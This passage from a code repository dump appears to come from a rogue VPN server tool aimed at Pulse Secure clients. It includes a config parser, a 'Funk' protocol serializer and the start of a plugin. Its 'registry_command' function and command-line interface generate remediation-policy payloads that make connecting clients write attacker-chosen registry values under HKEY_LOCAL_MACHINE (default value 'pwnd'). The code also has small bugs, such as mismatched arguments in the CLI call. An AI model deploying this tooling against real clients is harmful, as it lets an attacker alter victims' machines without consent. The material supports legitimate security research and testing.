int.from_bytes(data[0:4], 'big')\n\ndef load_be16(data):\n    return int.from_bytes(data[0:2], 'big')\n\ndef load_le32(data):\n    return int.from_bytes(data[0:4], 'little')\n\ndef load_le16(data):\n    return int.from_bytes(data[0:2], 'little')\n\nclass Attribute:\n    def __init__(self, attr_type, attr_len, data):\n        self.attr_type = attr_type\n        self.attr_len = attr_len\n        self.data = data\n\n    def to_dict(self):\n        return {'type': self.attr_type, 'len': self.attr_len, 'data': self.data}\n\nclass PulseConfig:\n    def __init__(self, data):\n        self.data = data\n        self.pre_attributes = []\n        self.routes = []\n        self.post_attributes = []\n\n    def process_attr(self, attr_type, data, attr_len):\n        if attr_type == 0x0001:\n            ip_address = \"%d.%d.%d.%d\" % (data[0], data[1], data[2], data[3])\n            print (\"Internal Legacy IP address: %s\" % ip_address)\n        elif attr_type == 0x0002:\n            net_mask = \"%d.%d.%d.%d\" % (data[0], data[1], data[2], data[3])\n            print (\"Netmask: %s\" % net_mask)\n        elif attr_type == 0x0003:\n            dns_server = \"%d.%d.%d.%d\" % (data[0], data[1], data[2], data[3])\n            print (\"DNS server: %s\" % dns_server)\n        elif attr_type == 0x0004:\n            wins_server = \"%d.%d.%d.%d\" % (data[0], data[1], data[2], data[3])\n            print (\"WINS server: %s\" % wins_server)\n        elif attr_type == 0x0008:\n            print (\"Internal IPv6 address\")\n        elif attr_type == 0x000a:\n            print (\"DNS server (IPv6)\")\n        elif attr_type == 0x000f:\n            print (\"IPv6 split include\")\n        elif attr_type == 0x0010:\n            print (\"IPv6 split exclude\")\n        elif attr_type == 0x4005:\n            mtu = load_be32(data)\n            print (\"MTU %d from server\" % mtu)\n        elif attr_type == 0x4006:\n            print (\"DNS search domain: %s\" % data[0:attr_len].split(b'\\x00')[0].decode())\n        elif attr_type == 0x401a:\n            print (\"ESP only: %d\" % data[0])\n        elif attr_type == 0x400b:\n            gateway = \"%d.%d.%d.%d\" % (data[0], data[1], data[2], data[3])\n            print (\"Internal gateway address: %s\" % gateway)\n        elif attr_type == 0x4017:\n            fallback_secs = load_be32(data)\n            print (\"ESP to SSL fallback: %u seconds\" % fallback_secs)\n        elif attr_type == 0x4010:\n            val = load_be16(data)\n            if val == ENC_AES_128_CBC: \n                enc_type = \"AES-128\"\n            elif val == ENC_AES_256_CBC:\n                enc_type = \"AES-256\"\n            print (\"ESP encryption: 0x%04x (%s)\" % (val, enc_type))\n        elif attr_type == 0x4000:\n            print (\"Disconnect when routes changed: %d\" % data[0])\n        elif attr_type == 0x4011:\n            val = load_be16(data)\n            if val == HMAC_MD5:\n                mactype = \"MD5\"\n            elif val == HMAC_SHA1:\n                mactype = \"SHA1\"\n            elif val == HMAC_SHA256:\n                mactype = \"SHA256\"\n            else:\n                mactype = \"unknown\"\n            print (\"ESP HMAC: 0x%04x (%s)\" % (val, mactype))\n        elif attr_type == 0x4001:\n            print (\"Tunnel routes take precedence: %d\" % data[0])\n        elif attr_type == 0x401f:\n            print (\"Tunnel routes with subnet access (also 4001 set): %d\" % data[0])\n        elif attr_type == 0x4020:\n            print (\"Enforce IPv4: %d\" % data[0])\n        elif attr_type == 0x4021:\n            print (\"Enforce IPv6: %d\" % data[0])\n        elif attr_type == 0x4012:\n            lifetime_secs = load_be32(data)\n            print (\"ESP key lifetime: %u seconds\" % lifetime_secs)\n        elif attr_type == 0x4013:\n            lifetime_bytes = load_be32(data)\n            print (\"ESP key lifetime: %u bytes\" % lifetime_bytes)\n        elif attr_type == 0x4014:\n            esp_replay_protect = load_be32(data)\n            print (\"ESP replay protection: %d\" % esp_replay_protect)\n        elif attr_type == 0x4015:\n            tos_copy = load_be32(data)\n            print (\"TOS copy: %d\" % tos_copy)\n        elif attr_type == 0x4016:\n            i = load_be16(data)\n            print (\"ESP port: %d\" % i)\n        elif attr_type == 0x400c:\n            logon_script = data[0:attr_len].split(b'\\x00')[0].decode()\n            print (\"Logon script: %s\" % logon_script)\n        elif attr_type == 0x4024:\n            print (\"Pulse ESP tunnel allowed to carry 6in4 or 4in6 traffic: %d\" % data[0])\n        else:\n            print (\"Unknown attr 0x%x len %d: %s\" % (attr_type, attr_len, data[0:attr_len].hex()))\n\n    def handle_attr_elements(self, data, attr_len, attrs):\n        l = attr_len\n        p = data\n        if l < 8 or load_be32(p[4:]) != 0x03000000:\n            print (\"Bad attribute header\")\n            return 1\n\n        p = p[8:]\n        l -= 8\n\n        while l > 4:\n            attr_type = load_be16(p)\n            attr_len = load_be16(p[2:])\n\n            if attr_len + 4 > l:\n                print (\"Bad attribute length\")\n                return 1\n\n            p = p[4:]\n            l -= 4\n\n            # append to list as a dict so we can reconstruct later\n            attrs.append(Attribute(attr_type, attr_len, p[:attr_len]).to_dict())\n\n            # process attribute\n            self.process_attr(attr_type, p, attr_len)\n\n            p = p[attr_len:]\n            l -= attr_len\n\n        return 0\n\n    def parse(self):\n        if len(self.data) < 0x31:\n            raise ValueError(\"Config data too short\")\n\n        offset = 0x2c\n\n        config_type = load_be32(self.data[0x20:])\n        print(f\"Config type: {config_type:08x}\")\n\n        if config_type == 0x2e20f000:\n\n            if len(data) < offset + 4:\n                raise ValueError(\"Config data too short (2)\")\n\n            attr_flag = 0\n            while attr_flag != 0x2c00:\n                attr_flag = load_be16(self.data[offset:])\n                attr_len = load_be16(self.data[offset + 2:])\n\n                if attr_flag == 0x2c00:\n                    print (\"attr_flag 0x2c00: known for Pulse version >= 9.1R14\")\n                elif attr_flag == 0x2e00:\n                    print (\"attr_flag 0x2e00: known for Pulse version >= 9.1R16\")\n                else:\n                    print (\"unknown Pulse version\")\n\n                if len(self.data) < offset + attr_len \\\n                    or self.handle_attr_elements(self.data[offset:], attr_len, self.pre_attributes):\n                    raise ValueError(\"Bad config\")\n\n                offset += attr_len\n\n        elif config_type == 0x2c20f000:\n            print (\"Processing Pulse main config data for server version < 9.1R14\")\n        else:\n            raise ValueError(\"Unrecognised data type\")\n\n        assert offset == 0x46\n        routes_len = load_be16(self.data[offset + 2:])\n\n        # parse routing info\n        p = self.data[offset + 8:]\n        routes_len -= 8\n\n        while routes_len:\n            route_type = load_be32(p)\n            ffff = load_be32(p[4:])\n\n            if ffff != 0xffff:\n                raise ValueError(\"Bad config: ffff != 0xffff\")\n\n            route = \"%d.%d.%d.%d/%d.%d.%d.%d\" % (\n                p[8], p[9], p[10], p[11],\n                255 ^ (p[8] ^ p[12]), \n                255 ^ (p[9] ^ p[13]),\n                255 ^ (p[10] ^ p[14]), \n                255 ^ (p[11] ^ p[15]))\n\n            if route_type == 0x07000010:\n                print (\"Received split include route %s\" % route)\n            elif route_type == 0xf1000010:\n                print (\"Received split exclude route: %s\" % route)\n            else:\n                print (\"Receive route of unknown type %s\" % hex(route_type))\n\n            p = p[0x10:]\n            routes_len -= 0x10\n\n        l = load_be16(p[4:])\n        p = p[2:] # fix alignment\n        self.handle_attr_elements(p, l, self.post_attributes)\n\n\nif __name__ == '__main__':\n    if len(sys.argv) < 2:\n        print (\"Usage: %s <config_file>\" % sys.argv[0])\n        sys.exit(1)\n\n    with open (sys.argv[1], 'rb') as f:\n        data = f.read()\n\n    config = PulseConfig(data)\n    config.parse()\n"
  },
  {
    "path": "src/nachovpn/plugins/pulse/funk_parser.py",
    "content": "from io import BytesIO\nimport struct\nimport base64\nimport logging\nimport argparse\nimport zlib\nimport json\nimport time\n\nVENDOR_JUNIPER2 = 0x583\nMSG_POLICY = 0x58316\nMSG_FUNK_PLATFORM = 0x58301\nMSG_FUNK = 0xa4c01\n\nclass FunkManager:\n    def __init__(self):\n        self.commands = []\n\n    @staticmethod\n    def base64_encode(value):\n        return base64.b64encode(value.encode()).decode()\n\n    @staticmethod\n    def remediation_command(policy_id='vc0|43|policy_2|1|woot'):\n        commands = {\n            '0x0ce4': [{ # Encapsulation\n                'commands': {},\n                'flag1': 0xc0,\n                'flag2': 0x00\n            }],\n            '0x0cf0': [{ # Encapsulation\n                'commands': {\n                    '0x0cf1': [ # String without hex prefixer\n                        {\n                            'string': 'test',\n                            'flag1': 0xc0,\n                            'flag2': 0x00\n                        }\n                    ],\n                    '0x0ce4': [ # Encapsulation\n                        {\n                            'commands': {\n                                '0x0ce7': [\n                                    {\n                                        'id': MSG_POLICY,\n                                        'string': f'REMEDIATE:POLICYID={policy_id},set\\x00',\n                                        'flag1': 0xc0,\n                                        'flag2': 0x00\n                                    }\n                                ]\n                            },\n                            'flag1': 0xc0,\n                            'flag2': 0x00\n                        }\n                    ]\n                },\n                'flag1': 0xc0,\n                'flag2': 0x00\n            }],\n            '0x0012': [{ # seems to be the same as 0xCF3 (unsigned integer)\n                'value': 1,\n                'flag1': 0xc0,\n                'flag2': 0x00\n            }],\n            '0x0cf3': [{ # Unsigned integer\n                'value': 1,\n                'flag1': 0x80,\n                'flag2': 0x00\n            }]\n        }\n        return commands\n\n    @staticmethod\n    def registry_command(rules=None, server_time=False, policy_id='vc0|43|policy_2|1|woot'):\n        # If no rules are provided, use a default rule\n        if rules is None:\n            rules = [{}]\n\n        # If rules is a single dict, wrap it in a list\n        if isinstance(rules, dict):\n            rules = [rules]\n\n        # Defaults for a rule\n        default_rule = {\n            'rulename': 'woot',\n            'subkey': 'SOFTWARE\\\\Classes\\\\abc',\n            'regname': 'woot',\n            'hive': 'HKEY_LOCAL_MACHINE',\n            'value': 'pwnd',\n        }\n\n        # Parameter0: always present\n        ce7_entries = [{\n            'id': MSG_POLICY,\n            'string': f'<PARAM NAME=\"Parameter0\" VALUE=\";cert_md5=;server_time={int(time.time()) if server_time else 1727187126}\">\\n\\x00',\n            'flag1': 0xC0,\n            'flag2': 0x00\n        }]\n\n        # Add params\n        for idx, user_rule in enumerate(rules, 1):\n            rule = default_rule.copy()\n            rule.update(user_rule)\n            reg_type = rule.get('type', 'String')\n\n            # if type is DWORD convert to integer\n            if reg_type == 'DWORD':\n                rule['value'] = int(rule['value'])\n                base64encoded = 0\n            else:\n                rule['value'] = FunkManager.base64_encode(rule['value'])\n                base64encoded = 1\n\n            ce7_entries.append({\n                'id': MSG_POLICY,\n                'string': f'<param name=\"parameter{idx}\" value=\"object_number=1; provider=registry; ruleid1={idx-1}; rulename1={rule[\"rulename\"]}; '\n                          f'registry_key1={rule[\"hive\"]}; registry_subkey1={rule[\"subkey\"]}; registry_name1={rule[\"regname\"]}; registry_type1={reg_type}; '\n                          f'regView641=1; minver1=0; ruleremed=set; needsMonitoring=1; ; policy={policy_id}; '\n                          f'registry_value1={rule[\"value\"]}; base64encoded1={base64encoded}\">\\n'\n                          f'<param name=\"parameter{idx+1}\" value=\"object_number=1; provider=policydata; policy={policy_id}; '\n                          f'rulecount=1; expressionIDs=; conditional=0;\" >\\n\\x00',\n                'flag1': 0xC0,\n                'flag2': 0x00\n            })\n\n        commands = {\n            \"0x0ce4\": [{\n                \"commands\": {\n                    \"0x0ce7\": ce7_entries\n                },\n                \"flag1\": 0xC0,\n                \"flag2\": 0x00\n            }],\n            \"0x0cf3\": [{\n                \"value\": 1,\n                \"flag1\": 0x80,\n                \"flag2\": 0x00\n            }]\n        }\n        return commands\n\n    @staticmethod\n    def parse(data):\n        \"\"\"Parse the provided binary data into structured commands.\"\"\"\n        logging.info(\"Parsing data...\")\n        decompressed_data = zlib.decompress(data)\n        commands = FunkManager._parse_commands(decompressed_data)\n        return FunkManager._commands_to_dict(commands)\n\n    @staticmethod\n    def pad(data):\n        num = 0\n        if len(data) & 3:\n            num = 4 - (len(data) & 3)\n        logging.debug(f'Funk padding: {num}')\n        return data + b'\\x00' * num\n\n    @staticmethod\n    def generate(commands):\n        \"\"\"Generate binary data from structured commands.\"\"\"\n        logging.info(\"Generating data...\")\n        serialized_commands = FunkManager._serialize_commands(commands)\n        compressed_data = zlib.compress(serialized_commands)\n        # Add header\n        buf = BytesIO()\n        buf.write(0x16.to_bytes(4, 'big'))                              # Zlib compressed data header\n        buf.write(b'\\xC0')                                              # Flag1\n        buf.write(b'\\x00')                                              # Flag2\n        buf.write((len(compressed_data) + 16).to_bytes(2, 'big'))       # Length of data + header\n        buf.write(VENDOR_JUNIPER2.to_bytes(4, 'big'))                   # Vendor\n        buf.write(len(serialized_commands).to_bytes(4, 'big'))          # Uncompressed length\n        buf.write(compressed_data)\n        return FunkManager.pad(buf.getvalue())\n\n    @staticmethod\n    def _parse_commands(data):\n        commands = []\n        buffer = BytesIO(data)\n\n        while buffer.tell() < len(data):\n            start = buffer.tell()\n            if len(data) - buffer.tell() < 12:\n                logging.error(f\"Remaining data too small for header at offset {start}\")\n                break\n\n            # Read the header\n            cmd = int.from_bytes(buffer.read(4), \"big\")\n            flag1 = ord(buffer.read(1))                     # Flag\n            flag2 = ord(buffer.read(1))                     # Should be 0x00\n            length = int.from_bytes(buffer.read(2), \"big\")  # Length of the command including the header\n            reserved = buffer.read(4)                       # Should be 0x583\n\n            assert reserved == VENDOR_JUNIPER2.to_bytes(4, \"big\")\n\n            # Validate the length field\n            if length < 12 or (start + length) > len(data):\n                logging.error(\n                    f\"Invalid length detected at offset {hex(start)}: {length} \"\n                    f\"(remaining: {len(data) - buffer.tell()})\"\n                )\n                break\n\n            logging.debug(\n                f\"Parsing Command: {cmd:04x}, Flags: {flag1:02x} {flag2:02x}, \"\n                f\"Reserved: {reserved.hex()}, Length: {length}, Offset: {start}\"\n            )\n\n            # Read the command body\n            body = buffer.read(length - 12)\n            commands.append((cmd, flag1, flag2, body))\n\n            # Handle padding to the nearest word boundary (4 bytes)\n            padding = (4 - (buffer.tell() % 4)) % 4\n            if padding > 0:\n                padding_bytes = buffer.read(padding)\n                if any(padding_bytes):\n                    logging.warning(f\"Non-null padding detected at offset {buffer.tell() - padding}: {padding_bytes.hex()}\")\n\n        return commands\n\n    @staticmethod\n    def _commands_to_dict(commands):\n        parsed = {}\n        for cmd, flag1, flag2, body in commands:\n            if cmd == 0x0ce7: # String\n                buffer = BytesIO(body)\n                id = int.from_bytes(buffer.read(4), \"big\")\n                string = buffer.read().decode('utf-8', errors='replace')\n                string_repr = repr(string)\n                logging.info(f\"Command 0x0ce7: ID={hex(id)}, String={string_repr}\")\n                parsed.setdefault(\"0x0ce7\", []).append({\n                    \"id\": id, \n                    \"string\": string,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            elif cmd == 0x0cf3: # Unsigned integer\n                value = int.from_bytes(body, \"big\")\n                logging.info(f\"Command 0x0cf3: Value={value}\")\n                parsed.setdefault(f\"0x0cf3\", []).append({\n                    \"value\": value,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            elif cmd == 0x0012: # Unsigned integer\n                value = int.from_bytes(body, \"big\")\n                logging.info(f\"Command 0x0012: Value={value}\")\n                parsed.setdefault(f\"0x0012\", []).append({\n                    \"value\": value,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            elif cmd == 0x0ce4: # Encapsulation\n                nested_commands = FunkManager._parse_commands(body)\n                nested_parsed = FunkManager._commands_to_dict(nested_commands)\n                logging.info(f\"Command 0x0ce4: Encapsulated {nested_parsed}\")\n                parsed.setdefault(\"0x0ce4\", []).append({\n                    \"commands\": nested_parsed,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            elif cmd == 0x0cf0:  # Another type of encapsulation\n                nested_commands = FunkManager._parse_commands(body)\n                nested_parsed = FunkManager._commands_to_dict(nested_commands)\n                logging.info(f\"Command 0x0cf0: Encapsulated {nested_parsed}\")\n                parsed.setdefault(\"0x0cf0\", []).append({\n                    \"commands\": nested_parsed,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            elif cmd == 0x0cf1:  # String without hex prefixer\n                string = body.decode('utf-8', errors='replace').rstrip('\\x00')\n                string_repr = repr(string)\n                logging.info(f\"Command 0x0cf1: String={string_repr}\")\n                parsed.setdefault(\"0x0cf1\", []).append({\n                    \"string\": string,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n            else:\n                logging.warning(f\"Unknown Command 0x{cmd:04x}: Raw Body={body.hex()}\")\n                parsed.setdefault(f\"0x{cmd:04x}\", []).append({\n                    \"body\": body,\n                    \"flag1\": flag1,\n                    \"flag2\": flag2\n                })\n        return parsed\n\n    @staticmethod\n    def _serialize_commands(commands):\n        \"\"\"Serialize commands from the parsed dictionary format back to binary.\"\"\"\n        serialized = BytesIO()\n\n        # Handle commands by type from the parsed dictionary format\n        for cmd_type, cmd_list in commands.items():\n            cmd_num = int(cmd_type, 16)  # Convert hex string (e.g. '0x0ce7') to int\n\n            for cmd_data in cmd_list:\n                # Extract flags if present, default to 0x00 if not\n                flag1 = cmd_data.get('flag1', 0x00)\n                flag2 = cmd_data.get('flag2', 0x00)\n\n                if cmd_num == 0x0ce7:\n                    # Handle string command - each command gets its own header\n                    body = BytesIO()\n                    body.write(cmd_data['id'].to_bytes(4, \"big\"))\n                    string_bytes = cmd_data['string'].encode(\"utf-8\")\n                    body.write(string_bytes)\n                    body_content = body.getvalue()\n                    length = len(body_content) + 12\n\n                    # Write header\n                    header = struct.pack(\">IBBHI\",\n                        cmd_num,        # 4 bytes command\n                        flag1,          # 1 byte flag1\n                        flag2,          # 1 byte flag2\n                        length,         # 2 bytes length\n                        VENDOR_JUNIPER2 # 4 bytes vendor\n                    )\n                    serialized.write(header)\n                    serialized.write(body_content)\n\n                    # Add padding to nearest word boundary\n                    padding = (4 - (serialized.tell() % 4)) % 4\n                    if padding > 0:\n                        serialized.write(b\"\\x00\" * padding)\n\n                elif cmd_num == 0x0cf3 or cmd_num == 0x0012: # Unsigned integer command\n                    value = cmd_data['value'] if isinstance(cmd_data, dict) else cmd_data\n                    body_content = value.to_bytes(4, \"big\")\n                    length = len(body_content) + 12\n\n                    # Write header\n                    header = struct.pack(\">IBBHI\",\n                        cmd_num,        # 4 bytes command\n                        flag1,          # 1 byte flag1\n                        flag2,          # 1 byte flag2\n                        length,         # 2 bytes length\n                        VENDOR_JUNIPER2 # 4 bytes vendor\n                    )\n                    serialized.write(header)\n                    serialized.write(body_content)\n\n                    # Add padding to nearest word boundary\n                    padding = (4 - (serialized.tell() % 4)) % 4\n                    if padding > 0:\n                        serialized.write(b\"\\x00\" * padding)\n\n                elif cmd_num == 0x0ce4: # Encapsulation\n                    # Handle nested commands\n                    nested_commands = cmd_data.get('commands', cmd_data)\n                    nested_data = FunkManager._serialize_commands(nested_commands)\n                    length = len(nested_data) + 12\n\n                    # Write single header for all nested commands\n                    header = struct.pack(\">IBBHI\",\n                        cmd_num,        # 4 bytes command\n                        flag1,          # 1 byte flag1\n                        flag2,          # 1 byte flag2\n                        length,         # 2 bytes length\n                        VENDOR_JUNIPER2 # 4 bytes vendor\n                    )\n                    serialized.write(header)\n                    serialized.write(nested_data)\n\n                    # Add padding to nearest word boundary\n                    padding = (4 - (serialized.tell() % 4)) % 4\n                    if padding > 0:\n                        serialized.write(b\"\\x00\" * padding)\n                elif cmd_num == 0x0cf0:  # Another type of encapsulation\n                    # Handle nested commands\n                    nested_commands = cmd_data.get('commands', cmd_data)\n                    nested_data = FunkManager._serialize_commands(nested_commands)\n                    length = len(nested_data) + 12\n\n                    # Write header\n                    header = struct.pack(\">IBBHI\",\n                        cmd_num,        # 4 bytes command\n                        flag1,          # 1 byte flag1\n                        flag2,          # 1 byte flag2\n                        length,         # 2 bytes length\n                        VENDOR_JUNIPER2 # 4 bytes vendor\n                    )\n                    serialized.write(header)\n                    serialized.write(nested_data)\n\n                    # Add padding to nearest word boundary\n                    padding = (4 - (serialized.tell() % 4)) % 4\n                    if padding > 0:\n                        serialized.write(b\"\\x00\" * padding)\n                elif cmd_num == 0x0cf1:  # String without hex prefixer\n                    string_bytes = cmd_data['string'].encode('utf-8')\n                    length = len(string_bytes) + 12\n\n                    # Write header\n                    header = struct.pack(\">IBBHI\",\n                        cmd_num,        # 4 bytes command\n                        flag1,          # 1 byte flag1\n                        flag2,          # 1 byte flag2\n                        length,         # 2 bytes length\n                        VENDOR_JUNIPER2 # 4 bytes vendor\n                    )\n                    serialized.write(header)\n                    serialized.write(string_bytes)\n\n                    # Add padding to nearest word boundary\n                    padding = (4 - (serialized.tell() % 4)) % 4\n                    if padding > 0:\n                        serialized.write(b\"\\x00\" * padding)\n\n        return serialized.getvalue()\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Parse and generate Funk binary data.')\n    parser.add_argument('-i', '--input', help='Input binary file to parse')\n    parser.add_argument('-o', '--output', help='Output file for generated data')\n    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging')\n    parser.add_argument('--output-json', action='store_true', help='Output JSON instead of binary')\n\n    # Command options can be supplied as a JSON file or as command line arguments\n    parser.add_argument('-j', '--json', help='JSON file containing the command dictionary')\n\n    # Command line arguments for manual generation\n    parser.add_argument('--time', action='store_true', help='Use current time for server_time')\n    parser.add_argument('--subkey', help='Subkey for registry command', default='SOFTWARE\\\\Classes\\\\abc')\n    parser.add_argument('--rulename', help='Rule name for registry command', default='woot')\n    parser.add_argument('--regname', help='Registry name for registry command', default='woot')\n    parser.add_argument('--policy', help='Policy for policydata command', default='vc0|43|policy_2|1|woot')\n    parser.add_argument('--hive', help='Registry hive', default='HKEY_LOCAL_MACHINE')\n    parser.add_argument('--value', help='Registry value (will be base64 encoded)', default='pwnd')\n\n    args = parser.parse_args()\n\n    log_level = logging.DEBUG if args.verbose else logging.INFO\n    logging.basicConfig(level=log_level)\n\n    # Get commands either from JSON or generate from arguments\n    if args.json:\n        try:\n            with open(args.json, 'r') as f:\n                commands = json.load(f)\n        except Exception as e:\n            logging.error(f\"Error loading JSON file: {e}\")\n            exit(1)\n    else:\n        # Generate commands from command line arguments\n        commands = FunkManager.registry_command(\n            args.rulename,\n            args.subkey,\n            args.regname,\n            args.policy,\n            args.hive,\n            args.value\n        )\n\n    # Parse input file if provided\n    if args.input:\n        try:\n            with open(args.input, \"rb\") as f:\n                input_data = f.read()\n            parsed_data = FunkManager.parse(input_data)\n            logging.info(f\"Parsed input data: {parsed_data}\")\n        except Exception as e:\n            logging.error(f\"Error parsing input file: {e}\")\n\n    # Generate output\n    if args.output:\n        try:\n            if args.output_json:\n                # Output the command dictionary as JSON\n                with open(args.output, 'w') as f:\n                    json.dump(commands, f, indent=4)\n            else:\n                # Generate binary output\n                generated_data = FunkManager.generate(commands)\n                with open(args.output, \"wb\") as f:\n                    f.write(generated_data)\n            logging.info(f\"Generated data written to '{args.output}'\")\n        except Exception as e:\n            logging.error(f\"Error generating output file: {e}\")\n            exit(1)\n"
  },
  {
    "path": "src/nachovpn/plugins/pulse/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom nachovpn.plugins.pulse.config_generator import VPNConfigGenerator, ESPConfigGenerator\nfrom nachovpn.plugins.pulse.funk_parser import FunkManager\n\nimport random\nimport string\nimport os\nimport io\nimport socket\nimport ssl\nimport json\n\n\"\"\"\nNote: these values are from openconnect/pulse.c\nSee: https://github.com/openconnect/openconnect/blob/master/pulse.c\nReferences:\n- https://www.infradead.org/openconnect/pulse.html\n- https://www.infradead.org/openconnect/juniper.html\n- https://trustedcomputinggroup.org/wp-content/uploads/TNC_IFT_TLS_v2_0_r8.pdf\n\"\"\"\nIFT_VERSION_REQUEST = 1\nIFT_VERSION_RESPONSE = 2\nIFT_CLIENT_AUTH_REQUEST = 3\nIFT_CLIENT_AUTH_SELECTION = 4\nIFT_CLIENT_AUTH_CHALLENGE = 5\nIFT_CLIENT_AUTH_RESPONSE = 6\nIFT_CLIENT_AUTH_SUCCESS = 7\n\nEAP_REQUEST = 1\nEAP_RESPONSE = 2\nEAP_SUCCESS = 3\nEAP_FAILURE = 4\n\nIFT_TLS_CLIENT_INFO = 0x88\n\nVENDOR_JUNIPER = 0xa4c\nVENDOR_JUNIPER2 = 0x583\nVENDOR_TCG = 0x5597\nJUNIPER_1 = 0xa4c01\n\nEAP_TYPE_EXPANDED= 0xfe\nAVP_CODE_EAP_MESSAGE = 0x4f\n\n# 0xfe000a4c\nEXPANDED_JUNIPER = ((EAP_TYPE_EXPANDED << 24) | VENDOR_JUNIPER)\n\nAVP_VENDOR = 0x80\nAVP_OS_INFO = 0xD5E\nAVP_USER_AGENT = 0xD70\nAVP_LANGUAGE = 0xD5F\nAVP_REALM = 0xD50\n\n#  Request codes for the Juniper Expanded/2 auth requests.\nJ2_PASSCHANGE = 0x43\nJ2_PASSREQ = 0x01\nJ2_PASSRETRY = 0x81\nJ2_PASSFAIL\t= 0xc5\n\nLICENSE_ID = ''.join(random.choices(string.ascii_uppercase + string.digits, k=17))\n\nclass IFTPacket:\n    def __init__(self, vendor_id=None, message_type=None, message_identifier=None, message_value=None):\n        self.vendor_id = vendor_id\n        self.message_type = message_type\n        self.message_identifier = message_identifier\n        self.message_value = message_value if message_value else bytearray()\n        self.message_length = len(self.message_value) + 16\n\n    def __str__(self):\n        return f'IF-T Packet: Vendor={hex(self.vendor_id)}, Message Type={self.message_type}, ' \\\n               f'Message Length={self.message_length}, Message Identifier={hex(self.message_identifier)}, ' \\\n               f'Message Value={self.message_value.hex()}'\n\n    def to_bytes(self):\n        # Recalculate length\n        self.message_length = len(self.message_value) + 16\n        return self.vendor_id.to_bytes(4, 'big') + \\\n               self.message_type.to_bytes(4, 'big') + \\\n               self.message_length.to_bytes(4, 'big') + \\\n               self.message_identifier.to_bytes(4, 'big') + \\\n               self.message_value\n\n    @classmethod\n    def from_bytes(cls, data):\n        if len(data) < 16:\n            raise ValueError(\"Data too short to parse IF-T packet\")\n        reader = io.BytesIO(data)\n        return cls.from_io(reader)\n\n    @classmethod\n    def from_io(cls, reader):\n        if reader.getbuffer().nbytes < 16:\n            raise ValueError(\"Data too short to parse IF-T packet\")\n        vendor_id = int.from_bytes(reader.read(4), 'big')\n        message_type = int.from_bytes(reader.read(4), 'big')\n        message_length = int.from_bytes(reader.read(4), 'big')\n        message_identifier = int.from_bytes(reader.read(4), 'big')\n        message_value = reader.read(message_length - 16)\n        return cls(vendor_id, message_type, message_identifier, message_value)\n\n\nclass EAPPacket:\n    def __init__(self, vendor=None, code=None, identifier=None, eap_data=bytearray()):\n        self.vendor = vendor\n        self.code = code\n        self.identifier = identifier\n        self.eap_data = eap_data\n        self.length = 4 + len(eap_data)\n\n    def __str__(self):\n        return f'EAP Packet: Vendor={hex(self.vendor)}, Code={self.code}, Identifier={hex(self.identifier)}, ' \\\n            f'Length={self.length}, Data={self.eap_data.hex()}'\n\n    def to_bytes(self):\n        # Recalculate length\n        self.length = 4 + len(self.eap_data)\n        return self.vendor.to_bytes(4, 'big') \\\n            + bytes([self.code, self.identifier]) \\\n            + self.length.to_bytes(2, 'big') \\\n            + self.eap_data\n\n    @classmethod\n    def from_bytes(cls, data):\n        vendor = int.from_bytes(data[:4], 'big')\n        code = data[4]\n        identifier = data[5]\n        length = int.from_bytes(data[6:8], 'big')\n        eap_data = data[8:8 + length - 4] if length >= 4 else bytearray()\n        return cls(vendor, code, identifier, eap_data)\n\n\nclass AVP:\n    def __init__(self, code, flags=0, vendor=None, value=bytearray()):\n        self.code = code\n        self.flags = flags\n        self.vendor = vendor\n        self.value = value\n        # Calculate the initial length (8 bytes for the header, optionally 4 bytes for the vendor, plus the value length)\n        self.length = 8 + (4 if vendor is not None else 0) + len(value)\n\n    def padding_required(self):\n        if self.length & 3:\n            return 4 - (self.length & 3)\n        return 0\n\n    @classmethod\n    def from_bytes(cls, data):\n        if len(data) < 8:\n            raise ValueError(\"Packet too short to parse AVP\")\n\n        code = int.from_bytes(data[:4], 'big')\n        length = int.from_bytes(data[4:8], 'big') & 0xffffff\n        flags = data[4]\n        vendor = None\n        value_start = 8\n\n        if flags & AVP_VENDOR:\n            if len(data) < 12:\n                raise ValueError(\"Packet too short to parse AVP with vendor\")\n            vendor = int.from_bytes(data[8:12], 'big')\n            value_start = 12\n\n        value = data[value_start:value_start + length - (12 if vendor else 8)]\n        return cls(code, flags, vendor, value)\n\n    def to_bytes(self, include_padding=False):\n        # Re-calculate length to ensure it's current\n        self.length = 8 + (4 if self.vendor is not None else 0) + len(self.value)\n        avp_bytes = self.code.to_bytes(4, 'big')\n        # Flags are stored in the most significant byte of the length field\n        avp_bytes += (self.length | (self.flags << 24)).to_bytes(4, 'big')\n        if self.vendor is not None:\n            avp_bytes += self.vendor.to_bytes(4, 'big')\n        avp_bytes += self.value\n        if include_padding:\n            avp_bytes += b'\\x00' * self.padding_required()\n        return avp_bytes\n\n    def __str__(self):\n        # Re-calculate length for display purposes\n        self.length = 8 + (4 if self.vendor is not None else 0) + len(self.value)\n        return f\"AVP: Code={self.code}, Length={self.length}, \" \\\n               f\"Flags={self.flags}, Vendor={self.vendor}, \" \\\n               f\"Value={self.value.hex()}\"\n\n\nclass PulseSecurePlugin(VPNPlugin):\n    REQUIRED_RULE_KEYS = {\"rulename\", \"subkey\", \"regname\", \"hive\", \"value\", \"type\"}\n    ALLOWED_TYPES = {\"String\", \"DWORD\"}\n\n    @staticmethod\n    def validate_rules(rules):\n        if not isinstance(rules, list):\n            return False, \"Rules file must be a JSON array of rule objects.\"\n\n        for idx, rule in enumerate(rules):\n            if not isinstance(rule, dict):\n                return False, f\"Rule at index {idx} is not a JSON object.\"\n\n            missing = PulseSecurePlugin.REQUIRED_RULE_KEYS - rule.keys()\n            if missing:\n                return False, f\"Rule at index {idx} is missing required keys: {', '.join(missing)}\"\n\n            for key in PulseSecurePlugin.REQUIRED_RULE_KEYS:\n                if key != \"value\":\n                    if not isinstance(rule[key], str) or not rule[key].strip():\n                        return False, f\"Rule at index {idx} has invalid or empty value for key: {key}\"\n                if key == \"type\" and rule[key] not in PulseSecurePlugin.ALLOWED_TYPES:\n                    return False, f\"Rule at index {idx} has invalid type: {rule[key]}\"\n\n            # Type-specific value 